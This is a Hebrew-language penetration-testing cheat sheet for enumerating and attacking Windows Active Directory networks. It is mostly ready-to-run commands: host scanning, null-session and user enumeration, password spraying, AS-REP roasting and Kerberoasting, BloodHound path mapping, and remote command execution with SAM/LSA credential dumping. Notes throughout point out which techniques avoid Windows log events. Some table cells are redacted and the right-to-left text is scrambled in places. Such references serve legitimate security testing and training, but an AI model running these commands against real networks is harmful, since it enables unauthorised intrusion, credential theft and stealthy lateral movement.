ענומרציית Windows - דף עזר

ספר עזר לאינומרציה של סביבת Windows / Active Directory

(בערכים שלך.<ממכונת התוקף. מאורגן לפי מטרה — בחר את הכלי המתאים למצב. יש להחליף את המציינים (<...

חלק 1 — אינומרציה ללא הזדהות

גילוי מארחים ושירותים

הדוקפ	מטרה
`nmap -sn <target-range>`	סריקת פינג — מציאת מארחים פעילים
`nmap -Pn --top-ports=100 -oA top100 <range>`	סריקת 100 פורטים נפוצים
`nmap -Pn -sCV -oA <output> -iL hosts_ips.txt -v`	סריקת שירותים וגרסאות מלאה
`nmap -Pn -O -sV -iL hosts_ips.txt`	זיהוי מערכת הפעלה

כאשר ICMP חסום) | -oA — שמור בשלושת הפורמטים (.gnmap .xml .nmap) | -iL — קרא מטרות מקובץ | -O — דורש הרשאות root

דגלים חשובים: -Pn — דלג על פינג (הנח שכולם פעילים, שימושי

מציאת בקרי תחום (DC)

שאילתת רשומת SRV — מחזירה את כתובות כל בקרי התחום, ללא אישורים:

```
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain> dig axfr <domain> @<dns-server-ip> #
zone transfer — often blocked, always try
```

טביעת אצבע SMB

```
nxc smb <target-range>
```

cme smb / (שמות ישנים, אותה תחביר). חפש: שם דומיין, גרסת מערכת הפעלה, Signing: False (מטרה לתקיפת relay), (Guest OK.

מקבל גם: crackmapexec smb

אינומרציה כללית / null session

כלי הכל-בכל לרקון ללא אישורים — נסה זאת ראשון על כל מארח SMB:

```
enum4linux-ng -A <target>
```

כאשר null sessions מאופשרות, שולף ללא אישורים: מידע על הדומיין, רשימת משתמשים, רשימת קבוצות, שיתופים ומדיניות סיסמאות.

(אינו זמין enum4linux-ng גיבוי כאשר) RPC ידני דרך null session:

```
rpcclient -U "" -N <target>
```

הריזחמ איה המ	פקודה (בתוך rpcclient)
[redacted]	srvinfo
[redacted]	enumdomusers
[redacted]	enumdomgroups

הריזחמ איה המ	פקודה (בתוך rpcclient)
[redacted]	querydominfo
[redacted]	querydispinfo

אינומרציית משתמשים

הערות	Command	אפשרות

לא מייצר event 4625 — שקט לחלוטין. הכי מהיר.	`kerbrute userenum --dc <dc-ip> -d <domain> <users.txt>`
	`  -t 50  # threads`
	`  -o <file> # save valid users`
	`  --downgrade # force RC4`
		Kerbrute (טוב הכי)

דורש כלי נוסף. איטי יותר מ-Kerbrute. אינו	`nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>', userdb=<users.txt>" <dc-ip>`	nmap script (נוסף ללא כלי)
רק אם null session מאופשרת על המטרה. עובד	`rpcclient -U "" -N <target>` `→ enumdomusers`	rpcclient (null session)

בניית users.txt: צור שמות כמו first.last / f.last / flast מלינקדאין או אתרי החברה. כלים: linkedin2username, namemash.py

אינומרציית שיתופים (ללא אישורים)

```
nxc smb <target> -u '' -p '' --shares # anonymous nxc smb <target> -u 'guest' -p '' --shares # guest smbclient //<target>/<share> -N # browse a share directly
```

גישת READ או WRITE על שיתופים שאינם ברירת מחדל היא ממצא בעל ערך גבוה. גישת guest ל-$IPC מאפשרת RPC null session.

חלק 2 — אינומרציה עם אישורים

>-; המשתמשת ב- nxc פקודתpassword>-; יכולה להשתמש ב- p; <NT-hash.עובד בכל מקום pass-the-hash — במקום H; <
כל

אימות אישורים והתזה (Spraying)

```
nxc smb <target> -u <user> -p <pass> # verify single credential nxc smb <range> -u <user> -p <pass> # spray via NTLM/SMB nxc smb <range> -u <user> -H <hash> --local-auth # spray local accounts kerbrute passwordspray --dc <dc-ip> -d <domain> <users.txt> <pass> # spray via Kerberos
```

תורעה	עוריא Windows	הטיש
נפוץ — מערכות הגנה רבות מתריעות עליו	`4625 (NTLM failure)`	nxc smb spray
פחות מנוטר — אפשרות גנוב יותר	`4771 (Kerberos failure)`	kerbrute spray

[+] = אימות הצליח | (!Pwn3d) = המשתמש הוא אדמין מקומי על המארח | --local-auth = אימות כחשבון מקומי (לא דומיין)

מדיניות סיסמאות — בדוק לפני כל spray!

```
nxc smb <dc-ip> -u <user> -p <pass> --pass-pol
```

שדה	ותיא תושעל המ
Lockout threshold	[redacted] (threshold - 1) [redacted]
Observation window	[redacted] spray – [redacted]
Lockout duration	[redacted]
Min password length	[redacted] – [redacted]

אינומרציית משתמשים

אפשרות	הדוקפ
NetExec	`nxc smb <dc-ip> -u <user> -p <pass> --users`
RID brute	`nxc smb <dc-ip> -u <user> -p <pass> --rid-brute`
Impacket	`GetADUsers.py <domain>/<user>:<pass> -dc-ip <dc-ip> -all`
ldapdomaindump	`ldapdomaindump -u '<domain>\<user>' -p <pass> <dc-ip> -o <dir>`

.פתח בדפדפן לתצוגה ממוינת של כל המשתמשים, הקבוצות והמחשבים בדומיין — HTML/JSON מייצר קבצי ldapdomaindump

אינומרציית קבוצות

```
nxc smb <dc-ip> -u <user> -p <pass> --groups
```

לחפש חברים בהן: Domain Admins, Enterprise Admins, Backup Operators, Account Operators, Server Operators, DNSAdmins
קבוצות בעדיפות גבוהה

אינומרציית שיתופים וסריקתם

```
nxc smb <target> -u <user> -p <pass> --shares # list all accessible shares nxc smb
<target> -u <user> -p <pass> --spider-shares # crawl recursively smbclient
//<target>/<share> -U <user>%<pass> # browse manually
```

.קבצי גיבוי ועוד ,id_rsa ,web.config ,מחפש: קבצי סיסמאות, קבצי קונפיגורציה, סקריפטים עם אישורים מקושים --spider-shares

אינומרציית LDAP

```
nxc ldap <dc-ip> -u <user> -p <pass> --users nxc ldap <dc-ip> -u <user> -p <pass>
--groups nxc ldap <dc-ip> -u <user> -p <pass> --computers nxc ldap <dc-ip> -u <user> -p
<pass> -M get-desc-users # check for passwords in descriptions # Manual query: ldapsearch
-x -H ldap://<dc-ip> -D "<user>@<domain>" -w <pass> \ -b "DC=<domain>,DC=<tld>"
"(objectClass=user)"
```

.ממצא נפוץ: מנהלי מערכת שמאחסנים סיסמאות בשדה התיאור .Active Directoryבודק תיאורי משתמשים ב — get-desc-users

משטח תקיפה של Kerberos

חשבונות ASREPRoastable — הדגל 'Do not require pre-auth' מאופשר, ניתן לבקש hash ללא סיסמה:

```
GetNPUsers.py <domain>/ -dc-ip <dc-ip> -usersfile <users.txt> -no-pass # no creds needed
GetNPUsers.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request # with creds
```

פורמט ה-$krb5asrep$: $hash — פיצוח עם hashcat -m 18200. ראה דף עזר ASREP-roasting.

חשבונות Kerberoastable — יש להם SPN מוגדר. כל משתמש דומיין יכול לבקש את ה-TGS ticket:

```
GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request
```

פורמט ה-$krb5tgs$: $hash — פיצוח עם hashcat -m 13100. ראה דף עזר Kerberoasting.

מיפוי נתיבי תקיפה — BloodHound

ממפה את כל סביבת Active Directory ומוצא נתיבי הסלמת הרשאות ויזואלית. הרץ מיד עם קבלת כל אישורי דומיין.

```
# From Linux (no Windows foothold needed): bloodhound-python -u <user> -p <pass> -d
<domain> -dc <dc-fqdn> -c all --zip # From Windows (SharpHound): SharpHound.exe -c all
--zipfilename bloodhound.zip
```

תאצום איה המ	שאילתת BloodHound
[redacted] -Domain Admin	Shortest Paths to Domain Admins
[redacted]	Find All Domain Admins
[redacted] -hash-[redacted] [redacted]-DC	Find Principals with DCSync Rights
[redacted]	Kerberoastable Users with Paths to DA
[redacted] DA [redacted]	Find Computers where DA is Logged On

הרצת פקודות ושליפת אישורים — דורש אדמין מקומי

```
nxc smb <target> -u <user> -p <pass> -x "<cmd>" # CMD execution nxc smb <target> -u
<user> -p <pass> -X "<ps-cmd>" # PowerShell execution nxc smb <target> -u <user> -p
<pass> --sam # local SAM hashes nxc smb <target> -u <user> -p <pass> --lsa # LSA secrets
+ cached domain creds
```

>H; בכל פקודת nxc. ראה דף עזר NT-hash.Pass-the-Hashה-NT hash-ים שנשלפו — השתמש בהם עם >-

סדר עבודה מומלץ

מטרה	פעולה	שלב
מיפוי מארחים, שם דומיין, מצב signing	nmap sweep → nxc smb <range>	ללא הזדהות
מציאת DC-ים, ניסיון null session	nslookup SRV → enum4linux-ng -A <dc>	ללא הזדהות
בדיקת גישה אנונימית לשיתופים	nxc smb -u '' --shares	ללא הזדהות

מטרה	פעולה	שלב
בניית רשימת משתמשים — ללא לוגים	`kerbrute userenum`	ללא הזדהות
אימות אישורים, בדיקת מדיניות לפני spray	`nxc verify → --pass-pol`	עם הזדהות
מיפוי מלא של הדומיין ונתיבי תקיפה	`bloodhound-python -c all`	עם הזדהות
מציאת חשבונות לפיצוח offline	`GetNPUsers / GetUserSPNs`	עם הזדהות
חיפוש סיסמאות בתיאורי משתמשים	`nxc ldap -M get-desc-users`	עם הזדהות
תנועה רוחבית ואיסוף אישורים	`spray → --sam → --lsa`	עם הזדהות

ביותר עם אישורים — הרץ אותו מיד. SMB Signing: False + אישורים תקפים = הזדמנות לתקיפת relay (ראה דף עזר SMB-relay).
— תמיד הצעד הבטוח ביותר. enum4linux-ng הוא הכלי הכל-בכל המהיר ביותר לסשן null ראשוני. BloodHound הוא הצעד החזק ללא אישורים לפני שימוש בהם — יותר חשוף ממה שאתה מצפה. אינומרציית שמות משתמשים עם Kerbrute לא מייצרת אירועי לוג רעיונות מפתח: תמיד בצע אינומרציה מלאה